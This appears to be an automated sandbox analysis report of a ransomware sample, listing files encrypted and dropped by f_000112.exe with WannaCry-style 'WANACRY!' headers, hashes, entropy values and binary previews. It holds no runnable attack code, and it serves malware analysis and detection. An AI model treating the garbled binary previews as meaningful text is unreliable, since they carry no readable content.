                                                                                                                                                                              Preview:WANACRY!....SG..........D.......~.....#.,0k'@.2[...%.+.0...+a...?2...M.....F......B.......Bl..*Q..j.<..8....i.T..5.&.8......c...........%.M........p.%......W.....c.].y.......WQ.Lt.W.#....U....>.p..\....:.q.1r ............}`<Les|X....^ q..i.R..}.....^.............^~.../d.....,7..'.\"Q.x...zQ...j'.L.n:/.7......g....\UE..S.Q..z*.....Mi!w..q..3#.....<..d..l..{.*.Q{....m%v..9..f....\..v..Ko'nY...AQ..Z...v.z....D...3c.{...t..3.a....-z.c5s&K...X~.Z.6..$..`a.pD...^~..n..B.W.uD..x.R....hhy...$[h..G.h.=.[.\..n._y.......El.*.|N...v..9(......V..LP7.H.TM....^zl..s!....b..Y.....^"`.x...Ds..+).vX..5.ku.c.'....L...M....O..:....J..N..>.....B#.....*..6.i.z.....\...9...-.......LE....|...\.Q..l.D......].../...yDo...PRU......^..t..'.L.a.&7...\.q...o...ew4&...Ce......kT........m...?.tQ\.(.+.......y-...1k'...r~Mj'.v.t[<.q2...o...'E.Kqj......(......T..2._Kg...d.X.....@..Z.,......|.j;*....0......g........#..u.E..b.l.k..p...1.N*./.=.../-"l.fe).<.,....r..`!

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.84555254340183
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk2gIThxhKVt2K4eKjW4SQzqHmMNpipmPVERqfrWMRHKEszqPp7YwjgpEcD2:bk2DXgEKejW4SQiDNpigPV2OWksep7Yu
                                                                                                                                                                              MD5:C69885F526A2FAFDFEE5F60FE8A1FEF8
                                                                                                                                                                              SHA1:8739B961BB1A78A8FE9EEC89D54C76A10C8E2BAD
                                                                                                                                                                              SHA-256:610C79F4982C15688ED74613207FFB3E01B9FDE824011DEB6EB67E6663284B93
                                                                                                                                                                              SHA-512:4B1136CA407870CABDA56BBFFF033CEA4B5AB5AAB933CCA80ABFED088EA045A1BB585174B0EF2FF7546252FE340D82400158EAD741F1AF8D1BD67354D917212E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Dw&..R.V..6.J?g.....#[~.)....d.@W..3.1....w.L.;...J.BTT;.F.../.@...Q..3.l#...7.J^....M..)..N._.U...d.D.M.....|;.....`......On........O....y......to......>D3..^..f..A.L.-k.H...N.l^....R....c9Y.jl..%..s....,.u..5.|....e.9.Y..*.]w.7..~G.......!.F.....$.......w$.Lk....qO..l..j:m.a.R{.}.N^..C..l.....l.p.......O.')..h8.l]k.9.d.mQ...g.=.........h.....g...L.....O..Xu.?.>M..y...cz.@...9V.a.,.>M.)As).00..S.|,L3.....:*Av..z.~!.=>.@qu.y.f4..YT'.7A..O.#..w.F.Pp.."Th.......\._..*..8f....~{=.g...k.F.Q...U_......h&T......&.$... .F..N$*..6J^._....Wi.b...m...&+...>.\HC..i.Q....{..p:..KM..<...y_.?..,....\...nz.."D...7"|.L.c...5.....^..zr...zZ.q7....Qm.......*......fZf|.]SE.0.`.4...y.X...]@v.+. ..R_........hF........j:<.K..[4..1......P.......J."7..Pp;.R...n......%.@H..J5h...2.7......lx!.:....t].}...:).c..e...Y...r.zpq-..;qT..;..k....v.SP.+...H...0t.2......J..S}...+.9.gA.6.!..Y.H....V.8....o.26b(....Z.E.0+.>>....l+Z.DB}.\.*..s^O.u.Zq.......S.~T.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\ew-preload-inline-2523c8c1505f1172be19[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11880
                                                                                                                                                                              Entropy (8bit):7.985819062166669
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:RjeW0QqwDFbcwAwdqFgPbYgA3/WzLvFL2VitaUIwOv3EArLzaVyi+6GI:RjfFAjwdqcA3/WnvB89pv3BfeVi6GI
                                                                                                                                                                              MD5:9C2453BEB5840BBBA9C479E7903682ED
                                                                                                                                                                              SHA1:D7B85BC43566D0C63CB8FEF45066A883E00CF2ED
                                                                                                                                                                              SHA-256:9C8E9FDE5F6495F9EB3BB25BA4A00FDE290C0138128E8B3A72CDCE41363E75D8
                                                                                                                                                                              SHA-512:3BB3E8D8685550E20AD9BBE0D7FA486AACFD32374A091B5AB97304CE71C2AFF3746CE7E5317613F61C1A96CFA51F4523BF71B84F02CE4FA697C2B7CFF340FCDF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Xq..?0....g...J...+I."....m.jx.G.@^x5.....R..pX..T..4..k....E..ld..!..d\o....._C.c.L#......j.Fjn.5..P...Pj...z.s...;..F..k%#...1...!...H{.!s.<.#.M...=..Cz.....1.............Q..}......_=E....d...Hi.d...:G....t .G..9^j..iG..P.{S?.C..d_.....|+.....O-...........x<x%0;..gw.%`.....A*...7d%.....|.B...T6.t....U86........{..=>I...G.g0..4f.......HJ.o.9AZ.7.......s.h.......$....~o..QoU$..C..3..ME.-j.3|..>2~._.&.S. ...[..d....lO.R.}..$..05Fx.+.C....'...........M....y...\....Hi.xe.'...c.O.N9^*.....!...D...;.o.Xo.)c...f......N.b..E:'......,#>....J...#.N&bCX.p..qh......3|"..iV.J..K..d.......N.S..."...zZ8.....9=.{..u..v........._....1.....`.b[Cv...,.>.Z..{...|.......{..e..J]bz....Z....D.>...b....C. ..*.O..J.....$..).xE'Os<..Ns30..0t4j&..k....t.y......8r;..."L"...N..T..)......<..h.........S....I!......k..o..G. ..;....`T..1..........^.!.....M.....O.'....'...X...p....Q..L._.g.7...&....X...H".Q.........?q.w....{.."U.H..p.$...}....2Q..`..*....m.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\microsoft-365-logo-01d5ecd01a[1].png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):20568
                                                                                                                                                                              Entropy (8bit):7.990661499254949
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:uQHIE5MJKjKrzvud80Dp16BbrQD8N4heDV3YPeIDdwwwrHk0BCIUDYolS+Vq+Fsh:9Kfe8E16JrQD86heDePXywWfUoSvw+yh
                                                                                                                                                                              MD5:45435BF7C9F8A734F15FCE70BA829C58
                                                                                                                                                                              SHA1:60FEFA734E5DE3D173C40F105C152E60C7997580
                                                                                                                                                                              SHA-256:D014F1CE34898A1E80EBFD51A4E14D4476B1AACD4F33C00DEDCEF7CE5C281E26
                                                                                                                                                                              SHA-512:E97810A2A443FC8EE6540271A2E32ACAB3F70E49CA5FEE50FA9FEC683F1CCD0DA7543632B6CBAE0B2FD7D1C080D1234C48E4B81130659F0B5E57A745F24D7618
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%.`.8.+.}Jt.....X.../....wj#...3'dd...1.jR......|{i...R...Z.....|z.v.T..I..~..`........]nM..+....t..t....due...b...H...~.SE......Z..@..iC;....QJ....A".S....iA#.>.oK.....8e..#5W7......3.NFV*j.9..}..Q<.|.d..7&.....Mt.:.mc[.{..b....Q.u5.t|rqnu.&....4O.......!L{...b.....o.a.9...G(\..kPl:.ZtQ...,..D....c^.T..5..V<..;.....x....[>n..O.j\l..3....@.5.U....q..R.H..H..."Uj00+.1..7.`...:.G......_;l.m..}..R...K.F...W..O..7N.\..v...^..Gvy.......,.L..0...EcA..O|G......4.s....,`.A..!..2..u.c.l.".........%6I(..l<...:..8k<.f..hV..c..s....4."`uf....n..s../.....<b...2.C..tw$...w...P_.b.f.`?.@y..uD."g=.2..QqU8...tQ....;.A...%...l.8.=.`.....$j.l....PX.9.a.5..k...M.y..t_f.d..j|3:.....BKx.E...TQ.`...^z....IZL@2....I6.u......O>..Q..s........w.{...)....76.p.45......N......]...E?xL....U.!k..\*.%Pq.........._..9.5.w.....R.vd...6.E.Q..};_..Tw].0~.+....~.:.....kv.=.....gI'....o.>J%4...'.i.a&!...(.Sqx.~ .Q};..3X..^....|..q .....D.....%..wg..B;.Z.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-fluent~left-nav-rc.ac5cfbeadfd63fc27ffd.chunk.v7[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):13176
                                                                                                                                                                              Entropy (8bit):7.9844498010219915
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:re2N9Ce92wSWNWaNjx2pwMKx3J/tikYvYD:7NN2wrWaNQl21wkYvK
                                                                                                                                                                              MD5:7A10503F26DBD6AA1A676E92663DAEEF
                                                                                                                                                                              SHA1:6FAC9572F3D0159892B9CF3C3D413C53640CC04C
                                                                                                                                                                              SHA-256:EDBB6CF6B01F35243AD6BC8EB8D789C831460BAB672A944B554509A9136F5FCC
                                                                                                                                                                              SHA-512:2C439C66D43C08DE78D84943F772AF405719336E505CBE17B944A271B961CD20E296DEFB3B29F2809DEA30ADC98598D8C2CE82D5076AA95CD9E0F40A3323096D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!............<..A...\.t.x........[N..>..md...2P..".h.b.^.)..., \I.....Q...@.._3J..w.......eU...~...._v...]...isp......8=.J...L.2.;f.f'u'5..tGgl..P.9...2V.AEX.\k.-..9.=.....:.r.!..AC-.iV.J..=.].Zl........?.....%iBV....\....M....=.H....|.n.w.;e5....^2......H.q...-F..0..XX..p..e.pq_..*..}.m..B.l...J.+{O..STi.K..L{I..5........S....q'.|AY.w#).*..).L....f32...g...V.....!./.......1M....]A....3.......S`:....-..h...v..A.|f6.._..a..BC.....B......J{..2Q...."d.F$&OC..........r..I.S..OJ.F...:.O.s..F:Y..<..n#.g..G..5,.....K..P4#.2..m...(.+.W9.P?9.:J..G..gx..7.[rY./$../.........s....}.R.W......*.~.....D.2....N@u...$8N.P...M...&..|G......t.9...`.(...{O... ...~a..3.8....f>......i,B.0B=.].T1..?F...c..l...R.R....8.N...u.$Z5.r.. a........7..v.'1S.(N~.#.g1.B.^..|3[.'aZG.DQ..zC.J..p$C.>"6]...E./..........[i.+..Y.RGE...s..z....J.4`.....n.l.>>.k.rt.[...aJ<..A,.'.T..j....-T..'|...\sn.r...T...../.zp/#<M$.5.)_....=.^....kT........"b8.w..a.....-....E

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):36264
                                                                                                                                                                              Entropy (8bit):7.994795075969843
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:wCNeSnx/zJz+6OZ95dmMhkv4Kkg7YWE4SgPqd7uH:VndzJzyneNg4SGqxc
                                                                                                                                                                              MD5:FFD285DE1E8DD96A47E9BA58DC5CD5FB
                                                                                                                                                                              SHA1:71567B4CBF0A9BF07E0B945FE80E8888DB528109
                                                                                                                                                                              SHA-256:2117CACFA7AC4D7EF50371E0AEEEB031FCC8B87C57191AA6BA28BE85D6F6FCF4
                                                                                                                                                                              SHA-512:17F20C921973A2C08AB86BAD2F3A1630166151E5520846F9598003DB500C80D56DC62B1CB70B18866EBC3B869A585D48678AA16252D0F83827F3C0CA1E15693B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Yk..U].!...M.<..,1+.E.xo.......O..c.....69...+.y@Z.f......GY.y$f3....s&....\.!{n..8..-...s.?.q....}.CR.h.A.w.l..........oLB..d..n/...Ug.wlI..C.z.T../.T8..F=...T...I{.C...i*w.L..hAUU.3...e....!/....^.Y.i..MJH.uD..?.~".G....}0..9?..e..-.F.u....e ..r.............P...)..RF.6..~.t.+.I....B/.....]..At.J..v...C.....&...$Z....y..|W.W..O.9........F.<.....}G.x..`........$Wj=...6.%...?*YVz!..0{^J..0n.1.B:..g...P@...XG..k...8Y`#v4..cfk./.[....".g..\......9..?.}u7A...Ox..x.*......r....A.X..B..F.0.....p.".f.. .........f.v...BUh..2.m..?.I..&,.k.M&5.n{\q.Doa.#x..Z.H#..N...Z.4.53.......%*.(..w.h.9A..u>+....g[.M...u?..h.#V+....(..7..\j....._G...-....y.(..s..G .G.E.3E5o..ysn.S...s...h...v)8..3.}...J...s....ie[&K...qr..A<tC.*2.......QN*.AmQ..T..............Z4\.....6...F.-PQ...;.3.?U.v.k,9....-.......~..5/0......fK.{.5f...?......>ScU..%..`...P...!.p.n:ra..:.s..../.....l.#..w%.}(.A*s.".3|..H....q.C..l#..P.13.q...O....ucj..j}..{.....jX\.C...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):21048
                                                                                                                                                                              Entropy (8bit):7.990205728966862
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:11bOIkGTIvbOwsBwImAtjBpG1yBJdAGzzI1rxQqNiLv2zm/q+frVGYo:rbpLTonsBwst3nLjI1qqILv2CS+f5GYo
                                                                                                                                                                              MD5:F58E33938CED7E7D7F081C631B5EDBFC
                                                                                                                                                                              SHA1:9E87E13041294DE178EB3FF5CC46182B4793A0D8
                                                                                                                                                                              SHA-256:07F624587F26106607A82D42933D84C2E504FAF851904D080F39510FFC2AE90C
                                                                                                                                                                              SHA-512:D91DC0820A67DA7465718AB303601F583D61096E237929F87299EF6551A9455201831B31D1E344905FE68E9E5ABF3897559A9599097CF0505CDFA5394974AD58
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....W..j.>...k.LLS..ad..H.:~YJ?..w..._..5.IN....UL2.W#gQ.....-?...Yef....L....<._........T.w.=.+S.........=.j1s...G .:..#sO^i!.PxiJ.....p....inxI...T...uQ...(<..-(..~)9*.-#....7r`G...(.M.....x......W....zF....B...p..........&......}i`}..|E....+D.....Q.......8....$.......}.........7......!..j....EzH...u...|~.h..(..*4.7..........D....U.F.y.}p...RMvMm...Ny.U{...).-D.0..(EQG....,.NE....9.`t.S...GF.l...L8...?..Xe..Q......T.:E.0<.... ....`.^J.....e2...O..L./.#.lP2)..o.....6i..s....".W.........$5...m..R......<.).K."j.i.QL..e......t..Ydr.9.%I....>..ux.r.....X'...a..eZ...s^.....?..K...wqv.U.&.)y..9...6........5U.}.....Z.z...*..1.....}......8.P_..A.;~.....^.*.yy-.@Me.......Q...]|@...+#...L.A.#..6.O...z.C...yVC./g....`f..@.%.. ....|Q...........J&./.[MeHP{|..}D1G.......F\.Q.)...U...r-%......W.nN.6..../.D..d]....>B...{....My2..\.dE.....^#y..6.z..~..r....A.+.43.2.Z ...} 5....t.F9.7..7p,A...R.z.jM...Z.[.../..$^{........n3.L\....o..@..."7O_..y.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\unauth-apps-image-46596a6856[1].png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7304
                                                                                                                                                                              Entropy (8bit):7.972785917929904
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:bTNpiO0MltiGAwnPQ3tm/pHxaMNCHmRT6Y6hSWNSuMCO3IPh1:bTNp0oiQnPppHUHmRGJS0DB71
                                                                                                                                                                              MD5:D06FCD7913DE92F49257C3DF05B1B58C
                                                                                                                                                                              SHA1:609E312EAC0DA7482BEBD7B88BAC1A515C2453A5
                                                                                                                                                                              SHA-256:72E14197416C3079EA5A28DC529F16EF706B14AB7B65E3DB580F595073A038F3
                                                                                                                                                                              SHA-512:F3BA3479FCD5838789703A454D5C3EDF3D614477E49F2F49DACCD150428EA3E088BD6B6C4B6C195242E5552B80F160C4DBC202B4F5A81BA0675DA3D1D358405D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......c..Rn.?9...e.r.$.B...:..'....8.....a..(.@ .{.RE..."e@.IC...(.......p.k..6.....rS,.-0.N.)..;...>..N>%.g...b2..Jk@...6.^*.WS..u./V..,,.>.....}..aT./.$z.z....Ed......E.^W.S..b....7b.....^.........$q..F.CC._#...~...r.kY..G...v`....u.$.2.......o........6z....U..O.e/.%m.VY.f.....Q..B........%............mz..u,.[.;k.1.=..e..a8}....r..3.....#...=..f...E....>.X..v.@m#$"..V.%..S...]..M$G>&.e.S..T...n_...C.^.~....T.wH|......;N7..#.m;..L.$..4q..a...-...V...X.2........._?....................V..D#....<.q.......T1.).7b..o.E7..X.9.....7j..Q.2e*?.{-..._..h...^.d.d.#T..zt..v.*0.iO...|...$.e..B.&..q.;.d..ek.......u.M.......X..}..Y...DLgn.c.CUh.I.H:...}....,v4%.$.........CAV.y.K<9toF.g..w{\..<..u..d.....(....4....b..../....._.o.l.y..w7].K...^e....e.....~AP.721..}]....U.U..^..p..H=.8...%.'.9..6........g............)z+....@..j.P(.I....h...._..s..W........U.cp...9.....k0.z.f......?&.._.G..,..=..k<..*U.Z..F.....+....]\..{......afA...5..h....}.2..y

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):80360
                                                                                                                                                                              Entropy (8bit):7.997829861431614
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:DkPmnLXjEV5on9IaWfiu/SdCFCLTSXosMslGby7sn4wu0k93kDGYdzrt53gNjFYc:2YLXjag9IaWfd/S0FKTSNlGby7s42k99
                                                                                                                                                                              MD5:C7F6D2E11165A5B6E04AE6A731932A3B
                                                                                                                                                                              SHA1:962B378A80D6CC642FA98C79A4C046352860CC21
                                                                                                                                                                              SHA-256:DA730471BFAE741343F795D5CCE2F820BE28D8CF61C65C8C35C9B2B0CAFBED2D
                                                                                                                                                                              SHA-512:9FF262690014E69701AFDB333CF1EF7CA765604332383459FB950C11675E0CFD287B2ADA63E24EDC38D06A593017ECE791CD4A967E68A95F23035CD65BE05AF1
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Q0..T..I...20._....l...t]hh.HL.J^..,..G.,..`.S.q...P.u....Kh.J........N..=.7......E. .......JI...\.=5%_...A....y[..$...[u&c..N..O....1...?B.6.2.........|.Y.8..I&.]......YCB.GbR3qi.M....__..q...%..d.2m..).2O...z.....o..,Y..B.....x...;.~k..2.......8......6.`.......:d..e.M............6`..Q.T...s......L.G.1..b...*8.6.*..R....s2y...9..A.:@.%..No.e&K......m.t...tl5j..9...`.%}.T..v.......{2R...IB.0......> ?...\...Jgu..9$..F.j.t.......d......^..q..!.L..E..kM...k._A%^T?..4.u....d.~3.>..P.........o.=...5d...!..F4s..N.o......+C.....k.*...J.!.C"..[.7.....IcF@..QB../..W"..j..yV.(d..Uc..:..i.2.....V7.O....*Fr..$.&.........9...~...B..X..O.I....ko(...p.Ky.0.)..$.....Q..T..}........<.#=...I^uS..Gx..s.`.......{%j... o7....RU.x..'.?.k.?q..*.........L.`?....Xr.4.Ce..u..^.<....r7|...(..e.iL......@.$..{z.....e............1.m........=..@...x.z6?9.0.z....{.............Eu...A....K....by....0:....D....bXX.T..8...B.~.-VNRB<I).w>.d..Zv"..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):43880
                                                                                                                                                                              Entropy (8bit):7.995046035077313
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:TyW8kS1XlLUjNnAAMv0MaGDn5ID8Qf/nyXLrfc2klbCGUqdiMbZrkiFK4N9jJF:TyW8kSNGjNnA/na8ufifcNbpiSqiY4NJ
                                                                                                                                                                              MD5:9AD715C30DA336FB81630D85E8C25C67
                                                                                                                                                                              SHA1:D69EDDF2EA09F8515377F04493252729A7C6C041
                                                                                                                                                                              SHA-256:8E936CB7CCF6D4651A0A9949E2A08377F7E00118294A4690632513D961F2DD25
                                                                                                                                                                              SHA-512:8EE6526FA4A393DE198BEBF571B09886D2822BE83412F4A5C233D3E2FA9B38BCC3CAE4A7D40F1F3B67675FF7E19A3995B7447C6D68A10A1B58A0BD1B28541396
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....k..3.............I..n.. n}%r...:.LR.Y..i..E.[d.:..2...7..mXM.../...q...$.A....2n.e...W.5K .T1.6b......|.O... OS.B...5.R..p..... !..Z..Zkeg.ZGq..<m..2...a...*...=,F.d.7..#.:..4.7..C.b).V. ..'..X4\Z( ....=y......W..n.H7....]U&.2.....nc..:............H...........7...........}!.O....F.U....t....=.).an,..R...v...5Ysq...'..u.U..c.`...g`..W.c...S.8LD...k.V...]@.$.:y.S.1(.N.6........./,.C0S6..>\%.;.M..<..F..+2...L..(......y.A9...V.rO`.k..-..JCuw....S.0..T.D. ....".N....A....D4..B.....K...<e.........)..)9t.^+b_~'F...ib./M ....CnM..B..L0M...48^.O*.533..."mY!.h. ...QA...k.^...R.GG.....mg....*|8..eu.,..#..g...q.7..........c:oVsd..Ju.].M:.....A...Ad.N.uf:.....hm.H..v.,..V...M..".Axj<.(y"...F.H.c65..j,..k......_...;$cFbkN....jG"4.@.S......+..=..1......G9.........,.^3...R..Y.6e.....A.5...K....28.d..m..4,......)..X..Jf......jZzx.=....3.....e.u.Gvq..AO.2,.G<.5.HH.0...y.._...]V.B.......e....&....X..x...a...y\9a.K.=.Ut..)2L...Y].[......

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\unauth-checkmark-image-1999f0bf81[1].png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):584
                                                                                                                                                                              Entropy (8bit):7.611649357885736
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEFnbiytQdgenyZimdsRDthjfW1000QZqM:bkUnbenyZUxhzBXQZR
                                                                                                                                                                              MD5:A32C10D3662650BDFF7ECCFA03153ACB
                                                                                                                                                                              SHA1:235C7D6B4B8B306C993C8B75A2E9124D0ED5DD46
                                                                                                                                                                              SHA-256:0C54C00B044897844E9E96D26B954072250B0F8D652752C627849DE9CABA0C40
                                                                                                                                                                              SHA-512:4F3A8DFB141A208DDED1214CC5DDD8C2CDAE830773D54BE42BC107433EE17CE95FF53CBA98F4C69D794ABCD0944D2A7BB50016E15104F6F236A66FC43696405C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....q...^.D.Os..<.>C...Y..UR..U....k....n..k...'..7.....e..R..Qj...d. q.Y.<...?>...g.U1...^/.P...[W/y/c.1.....r..G...z..(...i..i...q).....z .......X.3.UV.|.dF..x..d%.....]..LNgK..:.2.-.C.....g|Z.Q.J....8.+._...+...%)._U.....w....=w.H.CK..=fEosA....#.......r^...{.L.su.)Rb.j.V.N...(-v.7...:"r{...ku[r..y....O.~f.............h9.{......2x.Gm...hg.S.A.p....=...j......G.3.VJ...{W........H...^.0q.v..ALQ...Kl...bA4u->..e......;p.3.Gj..f_~L..Q..2.=......A.<S.R...KKr..A.,z......,:...ee..Y.`.?..7..yq....(Y...bq>.j_X....%..'....\7T.J.t^..iv.p/.X4.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):138488
                                                                                                                                                                              Entropy (8bit):7.998805591276936
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:fSUfOXbuN2XLhrbkh/eR6luz69qhIwPyGwQ3dpVCiPv4O:fSUfO51aAiqCwPyGH3di4v4O
                                                                                                                                                                              MD5:D30DC4EC93EFF959E0A51BD1A010BFF8
                                                                                                                                                                              SHA1:74960B89D543F3E00525C3AEED2C6B56C107A772
                                                                                                                                                                              SHA-256:DAB2E207877FDC47E17D17CC2E7BE2C5BE27AAFEFECEAB691FB97652096BD034
                                                                                                                                                                              SHA-512:D5384F105BD5F25AE2B69AD7F64BD1130376CD6851B9002039673F259F4FD97F2F31D0D08BC4C0E834BBB5AD73AC7287A29A60DDEA7AABAAF225DDC790FFABEA
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........7...y.....b...O|j......^.`4...;.....&U..A....&m.......kA.......1s..)Bkc..U$PT.T%.H..oi8PqN..IT......?..R..Q..Q..t.A...y_.....z...y..|..f....A.2e..,.N.lEu2..{.F.%..=C...b.Mq.]4/.r..C6Z.."..`.e?..Bd...>........w.jO.#.8.x !.|Z.X...E..z..............?...'$W9<...i..^...u0.-^. ..|0...._.^n...p.*..(........6..m....l....P.3....b..l..^.....1..U%..-.......<.....:1y.`G..X..`....>}i......;.|..b'....ZX...j....u.jB.!...'..e`......*.<t8 &}.p.B.......|/hu..$.0_...+R.y...y.2.u )....q.ag...|.<..D.G....!6...(uHqF.L.0.8..#qT..K7.+R+.j..G.P...!z?.^{G..~...^....`.:.fx9%...6....,S.e.s.).i..v..0<...Z?..Y...1zG.*p.goDm..3..hI.....Rq%...D_BeA..".....n...C+.0.d .0.t.U....(..B... ..Q.?..!;...M&....`Z.H.{.R.H....Y.@.i..!4.}.C...b.N.....x....].B.v...j..........x$.....p....w..5H.....Kl.C'.l.:/..k9.h]../c.......^aA..\.yQ..>.v..CZ..._....Uy.?..!.....<.`w`:.iMb.[...6.}.RnH..7...a._....}.Wf.U.....Jr.07.6r.JCQv..4C..r._(.n(...6'....M..NF.c

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\lockup-mslogo-color-78c06e8898[1].png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5096
                                                                                                                                                                              Entropy (8bit):7.965317450733941
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:o9qJHRHOlGVehJVz+Bm/dSOgN7u406DF1/VBqJMrU:7xHOAV8zCm/dSvu40UVbzU
                                                                                                                                                                              MD5:790F45486BB8A683B9B4FF69EDFC0D1F
                                                                                                                                                                              SHA1:C69A3AB8B325916A61BE04582479155E65DE26BF
                                                                                                                                                                              SHA-256:1CDF17FA55307FFCF27D3A53B458A552607E30A91B6F83D3A3D9EF36202AC322
